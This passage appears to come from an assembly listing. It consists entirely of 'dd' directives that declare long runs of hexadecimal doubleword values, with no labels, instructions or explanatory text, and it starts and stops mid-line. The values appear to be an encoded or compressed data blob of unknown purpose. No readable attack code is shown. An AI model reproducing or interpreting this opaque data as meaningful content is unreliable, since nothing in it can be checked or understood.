0B077137Ch dd 0C7226028h, 980F9DECh, 0EEF5BE35h, 13DE02BBh, 0C6E491EDh dd 20A64011h, 0C75CACBBh, 21EE003Ch, 6A6F8009h, 0C5BB00DAh dd 8451951Ch, 860CE0h, 6620F258h, 5215DDE8h, 0F53E788h dd 5A0FA6EBh, 92D015h, 0B759F6EDh, 0D414BA19h, 47002h dd 69AFBB0Bh, 1B60518Eh, 513E0EE0h, 78226FABh, 705F5053h dd 0D3F50521h, 0F7C4519h, 6482599Eh, 0B0644055h, 5CACC809h dd 0DC440849h, 85403F44h, 0E2609F51h, 640DE101h, 2CA853E8h dd 0B29A3440h, 3BB3001Bh, 3BEA9B8h, 0E302A43Ah, 0E205D8D4h dd 0B1CC91DEh, 906CC214h, 0D32220C4h, 0A43CA3C6h, 22A62745h dd 0C02FBDC0h, 0C42BCA19h, 6EA0EB3h, 8A56550h, 96AECF2h dd 0A09ADD61h, 820E4114h, 0A0AA906Ah, 0C43CD18Ch, 0A4F3BE51h dd 20009544h, 9892741Ch, 9393BF1Bh, 333B09B8h, 0F8FEF0A0h dd 7C0166E7h, 6122E2C9h, 0D77056C5h, 3D4302AFh, 0D2CEF895h dd 50460861h, 0D0D36FB0h, 42ACF8C8h, 0B4208E5Dh, 56F8BEh dd 6F4B1A95h, 30F1DEAFh, 226C99D4h, 39E70040h, 7EECD1A0h dd 4601AF5Ch, 23F84E51h, 318F18F1h, 9F4750A1h, 75D8D0C2h dd 7975376Ah, 2821E060h, 0D302D67h, 4897A2CEh, 23ADCD4h dd 0DD9DE90Bh, 0BDC40470h, 13112C54h, 1C104C48h, 59C5A3D9h dd 0B4300B7Ch, 58F2A966h, 7037C7Bh, 98D4405Eh, 37ECE148h dd 19B51CCh, 0E51E390h, 654554D0h, 0C8F799FBh, 7F037A24h dd 0E8847C3Ch, 0C498A269h, 3EC0A6E0h, 28811D8Ch, 86DF5046h dd 0B9198193h, 0BF85A6CFh, 91BA0840h, 22820F3Dh, 986C4543h dd 58C08F71h, 0DF5D1A61h, 70DE4B53h, 69C32E4Ch, 43B3F00Fh dd 429508BFh, 0C820B9C7h, 4C13A397h, 505324BCh, 323A3B7Ch dd 0C007EB1Eh, 0B8AF16DDh, 25154278h, 0A8707Bh, 0F079D83Eh dd 0A4CE391Bh, 45370098h, 2C0FFB50h, 29F62DACh, 0E87C8214h dd 0CABE8584h, 0B4C20C05h, 0C98AC000h, 975597Dh, 3427670Fh dd 65512400h, 83974BCBh, 0E0CCD173h, 24E7D6A5h, 6484D58Fh dd 5083707h, 14D88DC7h, 805F874h, 6279AC1Bh, 8220A9C8h dd 7221D4h, 0D708C26Ah, 8DB16D6Fh, 8CFCB900h, 0EDD8B0Ch dd 5871C74Dh, 0F78C8845h, 302F98Ch, 0EE18BDA9h, 0AA98A275h dd 0E8008D79h, 0C0B20F08h, 5F836E2h, 5C500213h, 0DB58C727h dd 53F24B80h, 9898AFA2h, 0E8591A1Ch, 4006A9Eh, 3D239D46h dd 15C2A0C6h, 4280C0C1h, 394B93A3h, 0BC8D8CA0h, 18C98E6Bh dd 6FE018h, 0F1C24A0h, 35D3A3F0h, 0A1B88200h, 67EEB006h dd 0C3CD0191h, 4658B46Fh, 8739800Ah, 5444590Ch, 887D58AFh dd 0F9552718h, 0C300A27Fh, 0F27CBEE7h, 68A3B4Ch, 8F3A1F56h dd 660FC058h, 0F20B1882h, 0EBBCC8D0h, 3AA8071Ch, 0D9592B12h dd 31E31C90h, 0F039A700h, 75499621h, 0F8E4A0E1h, 0D081021Dh dd 34B470E4h, 0F02B2449h, 8A746AFDh, 8F521B01h, 1CE9FF02h dd 0C2044F1h, 798401E1h, 891E0F0Ah, 833BF04Ch, 6027C73Bh dd 76AA6AC1h, 481A008Bh, 3E31AEB8h, 0B600A189h, 6717262Ah dd 2BC20Fh, 9834A37Dh, 0AEC4554Ah, 336CBE1Eh, 5EB59E00h dd 3E0EE1B9h, 72122313h, 0B82C04FAh, 88B4C56Eh, 0E495394h dd 93F7C6C8h, 0C3C600F9h, 0D3A0DAB4h, 5250E63Dh, 9260F7F0h dd 315D4221h, 33FE005Ah, 7D9BE077h, 0E09D48Bh, 1EFCF1Fh dd 9CA9081Ch, 2C96830h, 6F609209h, 408FCA8Dh, 0F0811F0Bh dd 32771A59h, 0F9BE0080h, 6E0BE66Dh, 0BB3F140Ah, 791F08F1h dd 2CC84A8Fh, 424C0BF8h, 0C72027h, 0DA94BF60h, 0D5B4A1C0h dd 3BBA25E2h, 571FE885h, 8DDDC3DBh, 810C19BBh, 31E690BFh dd 81576127h, 0F491D387h, 0E703A204h, 0A3557AEEh, 0BB8BE126h dd 129A4088h, 9016F10Eh, 0B7831900h, 308AEC9h, 18DDF404h dd 0A4A4BAC6h, 5ACA490h, 7B41B17Eh, 2290069Ah, 79222081h dd 5274A190h, 82097608h, 27011EAh, 84A3535Ch, 3940C6A0h dd 0EA01ECA4h, 7CAF1709h, 424C8067h, 0B12C5631h, 63530068h dd 0B535E3CAh, 7328CC0Ch, 0D441D2h, 90B9D588h, 0AC75528Bh dd 8CDD272Ch, 0AA00E011h, 193609B1h, 0C2001333h, 0DD54F50Ah dd 1AE5C852h, 0B977212Dh, 7AC9B440h, 0C4D49700h, 0E37C1134h dd 0EBA01C7h, 70F4C016h, 3490E966h, 3D8496C4h, 0DCD8E3C8h dd 508B5227h, 0C31580Bh, 8029F2AEh, 97CAD220h, 0F1E63C61h dd 8033A965h, 0ACBA6B91h, 8079723Ah, 0F7D6FA80h, 91E4BE8Eh dd 0A971370h, 46DC22F0h, 0E105480Fh, 7078ACC7h, 0D405C8D5h dd 6C033E7Ch, 0F29C11D0h, 607AF2h, 64DBD3AFh, 0F392329Fh dd 2C6A65Ch, 7E0970E3h, 1C3CD2D8h, 0C01CB352h, 0A7840AF0h dd 7624AF8Eh, 934240DAh, 278028E5h, 0CC2E9414h, 0AC00D8F2h dd 178D632Ch, 27700129h dd 533E0A0Fh, 58E027E6h, 0C5D6112Ch, 0D3862102h, 0C4174A6h dd 0AF61C488h, 0E9E3BC12h, 0ACEA641Fh, 84F26024h, 4EC0D947h dd 0A06B3Eh, 175C0DB8h, 7A5BFA59h, 0C0D07304h, 0B4E4F154h dd 0FC4600EDh, 0EDA34C6h, 430B9F42h, 64E059CFh, 76461704h dd 90FC137Ch, 58BF4010h, 77547350h, 155EE405h, 2CC26A4Fh dd 70C211C0h, 84BF3Ch, 8126919Fh, 76184349h, 0F46E7700h dd 70DB40FCh, 2B8F00F5h, 899C8CEDh, 390005BEh, 9254C87Fh dd 16B9E72Ch, 30E85CD1h, 5D46340h, 9F5AFE3Dh, 0E140EF36h dd 0A58F8C88h, 24B30755h, 0BE1539B5h, 0D0993B4Bh, 59C9F0D8h dd 3527EB02h, 613D0DCEh, 0C448E548h, 3151602Ch, 576D45CFh dd 1E0B53Bh, 1417B050h, 0A060E7E2h, 14817F8Dh, 7476B40Ah dd 0A83B6C4Ch, 55E8E400h, 2D733AFh, 58EB1D01h, 75C8FD2Eh dd 0CF6BC4h, 6372085Bh, 508AD7A6h, 6CF007F4h, 0A21BBA00h dd 0F67BA949h, 182AE870h, 20602C05h, 0B7000A63h, 451B19Dh dd 1D3E5B5Ch, 0DF8F5AD2h, 92DB003Bh, 0A3AD0277h, 78952C18h dd 0C0962A59h, 0F781FE41h, 0B000CE7Ah, 0C0DE2DD8h, 72650B09h dd 0C63800A1h, 7B456085h, 4606D290h, 5C980A6Bh, 0A7A30049h dd 0E1859B6Dh, 38980ECDh, 0C7782501h, 474EB430h, 44A3191h dd 8B2DAD2h, 0E2BA2C0h, 0D00C37ACh, 567B6088h, 99C7972Ah dd 0F9F09679h, 3E571FFh, 4D801C12h, 211F942Ah, 2C80C095h dd 0C9098F3Ch, 0CA18C0EDh, 5E896B98h, 41771C0h, 872382h dd 0D8FDF3C4h, 0D75B5709h, 6FE7E43Bh, 0AB2C019Ch, 8989358Bh dd 960656A3h, 6B1810A4h, 70845B4h, 3B22001Fh, 6FA3180Fh dd 8000DF1Ch, 602BC8B1h, 3897EB86h, 0A0CA21Eh, 88919C9Eh dd 0D5446B71h, 7C3E0063h, 0BDEBC3B2h, 7E057A5Fh, 79F811CEh dd 1C6954C6h, 98C9B412h, 0A8CC1170h, 0EA2E58h, 0DA50AD73h dd 7AFBC0Ch, 78E1F04Ch, 8FBB10C2h, 7501CBB4h, 0C66F6D96h dd 2840764Bh, 0C00E145Dh, 1BEB2DD1h, 7A1C96F2h, 7903BBC1h dd 0F8FB57E2h, 12B8EC1Dh, 77E349h, 1317302Ah, 5030E256h dd 9527410Bh, 0D0D1C74Bh, 0AC31D02Bh, 0E009C447h, 807AFA1Ch dd 5E87CBB2h, 8B790DD2h, 47304DC0h, 8C84FA74h, 0FB51146Eh dd 80CD403Ch, 0BAEC4174h, 0C5C1E24h, 625F8B7Ch, 1538AEC1h dd 7B2B19DFh, 0C7F88F41h, 1CC21F7Ah, 9708C0F7h, 4A58CFDAh dd 73873602h, 4859F61Ah, 3CF2C328h, 79805045h, 88C15C4Ah dd 0CF1042B6h, 43011763h, 0F737F83h, 0C39C51D3h, 8BF0601Dh dd 0C1717A31h, 9E0864DCh, 355C88h, 1EE43996h, 0B69BD07Fh dd 74768100h, 7864C3D9h, 186D0087h, 13985683h, 830E0AEh dd 4E104990h, 68D40576h, 2AFE6Bh, 9BF3DD70h, 91070F7Eh dd 704E6498h, 661CB7E0h, 173A24F2h, 13B30154h, 554F74A7h dd 0BA881C8h, 21AFE1F3h, 0C7D44892h, 0FEE9E700h, 85460293h dd 4E130403h, 8C7323BFh, 44005F34h, 2B79373Ch, 3B3AE38Ch dd 53923364h, 923904A4h, 5B080D7h, 8C286FCBh, 0E2753CB4h dd 920F1091h, 0C0A7E04Dh, 4AF7FEEh, 0D41E9D9h, 0DF488849h dd 9290210Ch, 3BBF2845h, 0F9E02AB6h, 0FA3F544Bh, 679AFECh dd 23A4A700h, 0CC905325h, 0D7A1BC0h, 0C8914974h, 0CB398095h dd 3C43DD2Dh, 0FA130EE2h, 0B2069382h, 6B002106h, 0B7A39F8Ch dd 78624188h, 0A297303Dh, 6166C911h, 0D1E36F30h, 0FED74763h dd 1657FC77h, 0B8B80A5Ch, 0F4800044h, 4E8CBF75h, 4C300FAh dd 0B2C66814h, 99C046AFh, 0CD41207Bh, 6F90522h, 0BA45CAC3h dd 0A9580C80h, 0A19B158Eh, 771E18B1h, 0CCAA40C7h, 0B38A5939h dd 72E79000h, 7EE82F6Ah, 0BD3F0087h, 0ECC2FC61h, 92C6F106h dd 24405BDEh, 40C8E91Ah, 0E5DBECC3h, 0CA49E307h, 0CB59F11h dd 8C748040h, 0F9643A5h, 125FDAF4h, 0F15A2A26h, 61110A00h dd 1DBDD5E1h, 2CAE004Ah, 0CBE62FBCh, 6E01A5DEh, 7C6AF094h dd 0B980609Ah, 1CDFD759h, 914C5472h, 8A371F00h, 0E260E826h dd 1FF46B80h, 4079E99Eh, 48D3DE3h, 0C4087ECDh, 89920603h dd 1820BE46h, 7C4FB58Eh, 5A348F50h, 4BB9807h, 65C0818Bh dd 7E7552F1h, 0E0EEC6Ch, 3D630551h, 0CC9948A0h, 614CF51Ah dd 96448050h, 0C85C2AAh, 82E142DFh, 5E01CB71h, 0E609BEA8h dd 0C6E0A530h, 11733F88h, 21AC5CAAh, 740A6CE0h, 7E81A419h dd 4C9658B6h, 2031ECh, 0EB436C06h, 113D409Eh, 0A5B4361Eh dd 9D1948CAh, 30DD2C00h, 24168121h, 0E5EBB9h, 497AA0B0h dd 0B6300D40h, 8F1116Fh, 7329CE23h, 0C92C7178h, 0BBAFE701h dd 2AADAC02h, 48A16CE8h, 38988445h, 0D01CD69h, 0E0BEB3AEh dd 11806730h, 0E30427CAh, 0DDFB0951h, 0E174209Ch, 0EB8D44h dd 0F2C197E4h, 68C96EF8h, 917C19C3h, 89612643h, 3600BE80h dd 6275C39Dh, 0D670FA21h, 38458601h, 6CD5483Fh, 78F6F1CCh dd 8F7B1811h, 548A416Dh, 2EB088h, 3A863EF8h, 2392FD5Fh dd 89F7C30h, 5C41F227h, 4A22540Ah, 1C52E44Ch, 0FC40EAC9h dd 9879F035h, 1259C078h, 0BA0446D1h, 0A20076E0h, 4AA33B11h dd 0C99BE6h, 2934F16Dh, 41B55071h, 2302E203h, 0B2330975h dd 0FBA86059h, 5C0C16F1h, 6F540AC3h, 1C551178h, 0BD807B59h dd 0FAAC299h, 6F170731h, 7A753046h, 384240D0h, 7D00BB5Ah dd 1D9473CDh, 0C01A6E6Fh, 0D1FF1B21h, 1500D0F5h, 0B8DF3038h dd 72CC3F74h, 3B13022Bh, 927C5756h, 0CBE400E4h, 2422F0B9h dd 838F8900h, 1012FFB3h, 5AAB03D1h, 0B498F339h, 0D9800EABh dd 0D0A9470h, 0E462E16Bh, 11418F42h, 53B11057h, 17060024h dd 2DE7294Bh, 5F02367Ch, 0DD2AAF7Eh, 1250C40Fh, 23F81ACBh dd 0D7C0C3A8h, 6948C2F9h, 0DA017F0h, 0EB5C3405h, 9C108825h dd 250A8018h, 588C9E6Fh, 2A8618B5h, 6400617Ch, 0DFCF9711h dd 1CAB7513h, 4B9EB403h, 2034A7F8h, 4181F141h, 0A7569B14h dd 0D473CCh, 0B5916601h, 79DEFDh, 57C183B6h, 0FFD2846Fh dd 87F9AF02h, 666BD615h, 2C3A2EF8h, 14CC2C34h, 95119CB1h dd 0B4110771h, 1E8B5FA0h, 3B1200B4h, 0BD7601A6h, 6F1B2F5Ah dd 0E4596CCEh, 28AC6880h, 9429F00Ah, 56328070h, 2BC3FEF3h dd 0FA416B03h, 9A5C31C6h, 0EBA49013h, 0F8438A4Dh, 5248397Ch dd 15C50AB2h, 5C43B474h, 32218E17h, 78B96EB4h, 620BF360h dd 0D0976D7Ch, 5DFE008Ah, 9D95FA2Dh, 9B00B8A2h, 9E4F56D3h dd 6238DD26h, 95791997h, 0D0E41C44h, 6E8D1896h, 0FE206910h dd 0F4743D2Bh, 0B47AFD09h, 64EAF810h, 0F5472000h, 0ACA18214h dd 7BF12E26h, 1AC6025Ch, 90A3E8DFh, 59025F2Ah, 345901CAh dd 1AC07DDAh, 8A012D51h, 0D1DFB11Fh, 0A48AAFEBh, 409073C3h dd 0F1FC44D2h, 235A1E00h, 0A99BA63Ch, 1A7431h, 99DCEF1Ch dd 1201A43Fh, 0C4BE300h, 4CF8B707h, 0C64F0E7Dh, 7F60D5ACh dd 0D31672Ah, 53FCBC1Fh, 1058B580h, 0B70CA7h, 3EE94DE2h dd 42B47C15h, 0ACFE1C0h, 0AFB044h, 30FA2A2Fh, 171DCC12h dd 0D795A402h, 0E6B629Ah, 0AE5F5087h, 997C1158h, 0FD876801h dd 1F9DB9CBh, 1E2413E4h, 4153AEE2h, 94FF9591h, 89055D7h dd 0B48C18ACh, 0A68169h, 85E237E9h, 697B895h, 47380500h dd 0D9F14A8Fh, 464C00A4h, 0B49A13C2h, 5C18FEC4h, 1A49120Fh dd 3B50A0ECh, 19486FA1h, 17164900h, 7724EEB4h, 5CC3D8AFh dd 1B298E15h, 0A1DC6F27h, 957C6C0h, 185CF5F6h, 0FFBC0338h dd 0D0BA499Bh, 99069Dh dd 4A6A5640h, 0C92A3D5Fh, 0CFABF00h, 86C76C43h, 1206396Bh dd 8E8C5880h, 18E6AD3Dh, 61982A34h, 4829B5C0h, 0D67BC0h dd 0F776D488h, 73A0E3CEh, 4C6E4D28h, 9BFC791Eh, 130BBE00h dd 0BF20221h, 60FB7101h, 6F654B8h, 40799B31h, 0A8E01A46h dd 0DE9C490h, 0E3142011h, 0A1293E21h, 5E22C1Ch, 814E8548h dd 0BD6A0h, 0C4AF8447h, 0B681638h, 55CC10B4h, 1F390623h dd 31802AB2h, 48877C1Ah, 9545921h, 0F600A9E7h, 8DCCAEFFh dd 0EA911E00h, 0F4A4F071h, 50F30022h, 1314ACE5h, 551ADAF8h dd 0C0A90991h, 0EB90E3A4h, 171CF820h, 2067F7A2h, 77B6C6A4h dd 735919C0h, 91891501h, 0C4F90048h, 4D5CE411h, 5E00637Dh dd 0F2595BCEh, 7CB37F9Ah, 0F1BC244Ch, 429D44DCh, 8B0C185Ch dd 0E7380340h, 0E3BAFACFh, 35A8A070h, 10710611h, 11A0B60Fh dd 0E96054B0h, 9F624429h, 8C6B4C4Ch, 2A486909h, 0E4ACC0A0h dd 4D02EC8Ah, 0FC73C25Dh, 163C4471h, 20B44A0Ch, 0B9F055D4h dd 9F240400h, 3158C72Ch, 419400AFh, 12F7ADB0h, 2D01CB88h dd 876A0503h, 88200BA0h, 4E2A3EF1h, 0E5CFB09h, 6AEB2893h dd 0F6AF5907h, 84B9DDF2h, 58869C0Ch, 0FAEF2F9h, 0CB3BF552h dd 61D64283h, 206E1925h, 81F45310h, 49B300B8h, 0F737FE4Ch dd 98037EE5h, 88A7647Fh, 19EB043h, 358600C5h, 87AD9B3Ah dd 93020EF6h, 1A3D6120h, 0E466A9h, 3928473Bh, 9D1542BAh dd 30D2C938h, 1EAF9A5Dh, 406A0A46h, 0B85525h, 0E06EA54Eh dd 5D26129Bh, 0AF452011h, 0D1D77000h, 0F932549h, 14643C62h dd 0EB2C4502h, 0CB03AC46h, 173E7F87h, 0C42B82BFh, 0EFE65Ch dd 8C4CBCFCh, 0F99969D5h, 0B0D04A24h, 49F31A61h, 9D050072h dd 8DE36F64h, 10C04E88h, 3A128EE8h, 9CD48287h, 9B88C10h dd 4AB303CEh, 8810080Bh, 5B00F65Eh, 0DBE32946h, 8CD144h dd 0C0841E9Ah, 42DE83A8h, 0BFACCD19h, 80327530h, 0A8013600h dd 297918F6h, 5D469F10h, 0C3A72580h, 7A00112Fh, 1424EA5Eh dd 5099FEBFh, 1B12073h, 0EDCE4C0Fh, 3138342Ch, 0BEC12A14h dd 0D5D0E3D7h, 9C78E811h, 75948388h, 0D178036Fh, 0D0620C1Eh dd 0D4CB5FDEh, 0A3B4988Fh, 8CED0A2Ch, 8EA0488Dh, 562013ADh dd 898FECFEh, 0C3A3B40Eh, 57001E01h, 5878E28Eh, 83F1EF2h dd 69540747h, 4137804Bh, 0D74C9167h, 0E8F12E0Ch, 0F19CB4C7h dd 11F807DAh, 0E0DFAF76h, 2902DE28h, 0C9A86716h, 848CB907h dd 4C11DA00h, 8B45C53h, 1DE8080h, 0BB74E947h, 0F0E5CB1Dh dd 95037B80h, 30D7F402h, 7571792Ah, 0EE07F1F7h, 1996E0Eh dd 0E7BAAB30h, 0F89881h, 708FA9D4h, 0A8D9486Ah, 805E0D3Dh dd 0AF3EE318h, 766B14Ch, 69EA978Ch, 206302CFh, 90B96058h dd 9BC03347h, 7AD0C87h, 0A8C3200Bh, 0D80D109Eh, 0B3140F44h dd 2C88CA75h, 6A456C9Ah, 94E2D084h, 0E8E5B600h, 75517A66h dd 0F23C8400h, 0E679CF1Eh, 6291F67Ch, 0A2C20850h, 96635C41h dd 5081AC39h, 907273F1h, 13533600h, 9E0183EEh, 0BC2A5Ch dd 604D119h, 0CE26B3h, 0CCC5221h, 8B799AACh, 0AE406C96h dd 1CCB4406h, 3ADE15ADh, 4E88FF89h, 60C4B008h, 0EED39CA7h dd 735CDD00h, 0D4CEC0F9h, 0E9F50758h, 8EB7510Ch, 0A2B42452h dd 0E46F2208h, 12B4B1D6h, 0B770206Eh, 1BB80A26h, 0A470F601h dd 51E18A94h, 8E006822h, 83804FAAh, 87799256h, 0F9B0CDEFh dd 143312h, 3EB780Fh, 0E02D9144h, 83A7011Bh, 8196F2A4h dd 6C4420A0h, 9BB7C08Bh, 18F700BDh, 0C4C71A53h, 6F094733h dd 16B68D0h, 0A08C4B32h, 2B88C028h, 95195710h, 0ECA31958h dd 0BC006CBFh, 4DF7A6C8h, 28267DDh, 4448B7F8h, 4859EE8Eh dd 64091C4h, 0B03BB1E3h, 34F56205h, 5CA2520Dh, 1D1E1420h dd 5656186Fh, 8431FC13h, 803C2809h, 42B8CA1Eh, 500D2EE9h dd 130E20A4h, 61C390C2h, 87089674h, 0F2BC7E00h, 56BAA98Ch dd 8895162Ch, 73900322h, 695C1C13h, 8D8EB4h, 306C2D20h dd 94D30373h, 13B354Dh, 38276DF3h, 5CFE6063h, 44009410h dd 5EA030E9h, 0E2A00A3h, 5CCBFEA5h, 149C9561h, 0C3E4F480h dd 2FB81BCh, 0F05D7B48h, 9CC2D7DEh, 0AC687C10h, 0FAE58089h dd 3A80D478h, 0E330FC62h, 802D383Eh, 82341504h, 54FAEh dd 9A10436Bh, 896CD155h, 1D795660h, 3CC20C3h, 2D674FD9h dd 0BE0D123h, 144474C4h, 38A700E6h, 0D2B27634h, 954B3597h dd 0B1C29840h, 9BE63h, 319B1AA9h, 0AC0162EDh, 7ED18100h dd 0B48CA24Dh, 6E030116h, 2859C968h, 4CEC6155h, 573DEFB0h dd 3F180038h, 2A348150h, 147975C8h, 8483D8CDh, 0D0141125h dd 1E8CDE3Dh, 9CC19E4Dh, 4CCB024Fh, 0EC7870h, 0E2479594h dd 651D7E59h, 0AA8C8201h, 0E59AC1ACh, 1FA041F0h, 1CD5FE4h dd 0B6802062h, 2A43D446h, 2023F324h, 0E4407510h, 1CD98A5Fh dd 9B382E00h, 0F4ED78EAh, 0A6F50380h, 2B7E8D09h, 0B444C3E8h dd 86A97360h, 0EAE092F3h, 8CEF4922h, 9691A823h, 0F7FC2Ch dd 7F787CA0h, 330E0AD9h, 0EFE15C13h, 7B6C60BBh, 0BEEB9A56h dd 9F9C23Ch, 9BFFC92Eh, 60AFA710h, 21760802h, 0CD7B0085h dd 0DC04ADA4h, 1C9EACF8h, 8EC988h, 2DF55D3Eh, 30A048A1h dd 20C33571h, 9144FB3h, 96CCA780h, 6A600DFh, 2A73C162h dd 44D07A26h, 0DA000D46h, 0E513044Eh, 5B125Fh, 3BA0AC61h dd 8285EC5Eh, 19D6E227h, 0E084EB4h, 3E1A6544h, 614E5BEDh dd 7017A964h, 5A00F1F3h, 0D608A4E3h, 36DAAFFh, 5B4520C0h dd 149A829Bh, 38B0A044h, 0D93ECA00h, 0F2AF77F1h, 98A30070h dd 3508DD26h, 57243210h, 0DF60FCA5h, 7A6BAD2h, 0D37726EDh dd 0F085358h, 688A37E1h, 0B2C1140h, 0C3670C04h, 42A0A048h dd 173B422h, 0BAC9211Eh, 61A65C6Eh, 72198BC0h, 0D0A86062h dd 0B8DFF260h, 0DD271620h, 2889071Bh, 0C22CE4BDh, 0D4E697D0h dd 20E7B700h, 0EBADDF42h, 0CCED3EBCh, 5C38315Eh, 0B059C618h dd 31CB1D80h, 23873E2h, 2CC90C3Ch, 6842DEEBh, 0C4435C60h dd 99FC0131h, 0FAE8AE63h, 480F003Bh, 0D945045h, 6CF05C71h dd 1EC0D9C0h, 91897D1Bh, 875A00E4h, 0A8F41A26h, 80C349C9h dd 9B06AAB4h, 0FEF50C2Ch, 3E7076C7h, 0D28090B9h, 1B8CFE8h dd 392C00DEh, 78F13744h, 157E86D4h, 4802C85Fh, 0E6B6E16Bh dd 0F27744B0h, 0DD53130Eh, 493EE043h, 5473A1C4h, 0DB809Bh dd 8302F284h, 33166129h, 0BBCFE4Fh, 0D2A7C107h, 908E2776h dd 0B08FDD2Ch, 94551301h, 0A771D95Eh, 0FB011080h, 0B170D2AFh dd 56D3B301h, 0DF1A9E73h, 0EC82C028h, 0C881BC4Eh, 89AA9AC2h dd 0CC4DEDA0h, 32D7B40h, 6CE9579h, 70F80EADh, 3D004380h dd 0EBE8CAA6h, 2C6DEA09h, 71C888D0h, 25D906E2h, 406D92h dd 16F2CEAAh, 6A4440B9h, 40A4CF23h, 6F3D9647h, 2E94719Ah dd 64384FE1h, 73F082B4h, 39867907h, 40649641h, 6D2E8081h dd 6A6C5200h, 95C6E636h, 29EC94h, 0C2E55324h, 0AF7E7286h dd 7031645Bh, 0F848967Ch, 5C2C5812h, 0EA70F380h, 685BE74Eh dd 6EA57822h, 0AE7870h, 0CBEC89B6h, 0E4E8D8Eh, 0CA561317h dd 125878h, 0BE461DD1h, 11782A71h, 9BDCC450h, 2DCD2300h dd 0B4EF08EBh, 82314B36h, 53204BA0h, 99A37CFh, 0DF9F9360h dd 0EC2DA46Eh, 0F18A48Fh, 0C825FC54h, 0BD76C090h, 8428C891h dd 65D80100h, 0C2BFABEBh, 0A4981215h, 8AC166Ch, 5A805FE8h dd 4008C48Fh, 0AE870048h dd 0D3B5B923h, 0CB02D47Dh, 4396CF3h, 0A4E42Bh, 0EDEF8B42h dd 0FC022C60h, 0CD43A900h, 0FA4C4692h, 8C1E0762h, 0EFC8A398h dd 5215C320h, 4948D114h, 0C8222678h, 0B39B6700h, 500106C4h dd 49E408ADh, 8800E0FEh, 42C1C26h, 81007506h, 0A541BB52h dd 0C2780DE0h, 0FBBCB311h, 5E85E0F9h, 2D81AA8Dh, 0BDD407DEh dd 12500098h, 0A645D71h, 9D7FB8D6h, 7488614Bh, 0CAF70027h dd 55210D7Bh, 933913FDh, 5658800Bh, 8F4E79BDh, 0B8A45FD9h dd 6C1516F6h, 0FCC82A13h, 89300074h, 0EDA19620h, 16003D76h dd 8A56FC6Ch, 256D8FDAh, 9C989326h, 0FA00E7E6h, 82BF4F3Ah dd 41E5120h, 0D7C6E026h, 0D4B4A8F1h, 0A39B1638h, 1D533C88h dd 45B909EEh, 899679F1h, 2AD4F91Ch, 8D7CB845h, 83070E4h dd 9F8C6ECAh, 5F004E64h, 6F5596AFh, 88103A5Ch, 4902D8Eh dd 11F5EBDh, 0D7CA488Ch, 98083091h, 1D5E9E60h, 0F1F9527Ah dd 0AC712E24h, 57F82359h, 3C410087h, 35AEE881h, 0B600D11Ah dd 0F50F6ACDh, 905BD429h, 4B2546E0h, 0E82488h, 8E22EA7h dd 25983289h, 5C90954Ah, 1F81BD44h, 0BE5C6Fh, 77743301h dd 0C30004C8h, 0A2BF4579h, 4CE19394h, 31D63C52h, 0E4B0D02Ch dd 7A322959h, 0F14120DBh, 0EE3E60C4h, 647812C1h, 2B989455h dd 0DC82B020h, 37B7006Dh, 33837F5Dh, 0EF01AECEh, 4F793846h dd 0D0685CC6h, 0C0935C40h, 27F44D76h, 21008F8Bh, 4C6042DAh dd 4C84EAE0h, 0B160F9F7h, 9CCFCEC3h, 2C6CAF00h, 56BCB40Fh dd 71B00CDh, 1E09AD75h, 0C406ECDEh, 43105CF1h, 80789939h dd 2497E946h, 820089C2h, 8B75A9F2h, 8D1BA3h, 6298019Eh dd 419D3012h, 804C9100h, 3449C64Ah, 2A7D00C0h, 603EE238h dd 2002C287h, 6B99AF74h, 7C64E056h, 70223A33h, 12009621h dd 0EFE659E3h, 2D670145h, 2C39CBA5h, 8C7AFA01h, 0FCB64606h dd 115D2Ah, 6B571531h, 6689B4FFh, 0FDF439h, 0CF988D76h dd 0EAC0410Bh, 806D5904h, 2ACCC26h, 0FD5FA108h, 0F8E184C0h dd 0D9CBB900h, 0FE9DEED0h, 256B032Bh, 0EC206426h, 2DE0B2F2h dd 0A766B787h, 38C6D110h, 63271261h, 6F805C10h, 9509E00h dd 2784426Dh, 0B441009Fh, 0E411C2E8h, 15741F5Ah, 0EB5C2009h dd 0DF1C489Dh, 97448473h, 0FD4005A5h, 0C09E7191h, 82DBD3B5h dd 2430E15Ah, 56F45h, 88F136E2h, 56E187C2h, 532BEA00h dd 0A28F8CB5h, 8E08196Ah, 2B95B081h, 0DFC96440h, 90FFD8h dd 437A3F24h, 53986CEAh, 4B049D00h, 5D3A0187h, 74A70110h dd 7675E2B7h, 61DAF91Eh, 2A24022Ch, 3C80B85Eh, 0CFBAEEDh dd 28AD174Fh, 3AF46089h, 0F4A22017h, 0F9F42463h, 36D30068h dd 0F0C18B7Ch, 61223AFEh, 59F31A0Ch, 6891C321h, 5C025A80h dd 13329342h, 0F3E3Dh, 5076B3C7h, 780137FBh, 0B4CC02FCh dd 9460408Dh, 28D45C42h, 2E5D0D4h, 297F4AF7h, 80BA4056h dd 0ED87816Fh, 3B7BCB6Ch, 0B80E1E39h, 0C90AA5DBh, 7FE900C0h dd 0E16F26AFh, 7C0410B9h, 64895F93h, 89FD589Dh, 0B011C647h dd 88730830h, 280B1DFEh, 80CABFBAh, 5E4D451Ch, 10710079h dd 977A48A3h, 0F10017C5h, 0C215C816h, 58EB8Fh, 265357DCh dd 0FD620EDDh, 8D313812h, 0F4088C13h, 0AC09AF0Ch, 6B5FC68h dd 9644E0B0h, 2F2F7093h, 0CF5881E0h, 45765B01h, 5AF71738h dd 4EEF2430h, 0E7646071h, 9EE40CF5h, 0DDBE3D00h, 0BD990506h dd 534C007Ah, 0ECC48287h, 0E300DCBAh, 44F26141h, 2D596F22h dd 3CB168D7h, 68402F6Eh, 0E321BC22h, 5ED43C60h, 52A80C0Bh dd 6342D04Ch, 0A094530Bh, 0C9957384h, 801438A4h, 0DE5CB5E6h dd 3811009Eh, 0D774985h, 8620AB3Eh, 830E1478h, 89618C56h dd 0C912C466h, 2AB4713Fh, 9E4D1440h, 5C446932h, 1B004C1Dh dd 6AB0E2B8h, 0ACBC6458h, 2BB94081h, 38698967h, 39ADD600h dd 0F9148817h, 4DFA6071h, 84F16F3Bh, 0F3A3C4AAh, 102580B6h dd 111ED465h, 0E1DD80BBh, 1E5F74FEh, 96D506D0h, 396B72C4h dd 900F1822h, 0F1DC800Fh, 0CBBD0355h, 7D769C8Eh, 0AF622824h dd 42445D09h, 4654001Ch, 0FEB285Bh, 0D69FFD29h, 786F7680h dd 7700ACCDh, 0C6696A06h, 4B0D737Ah, 4AE48872h, 52EC0084h dd 0E706B461h, 0B0BCC17Dh, 9B3FC88h, 7C69917Bh, 0C43D89h dd 354EDE3Fh, 0F604D66Ch, 2F900078h, 4CCF1967h, 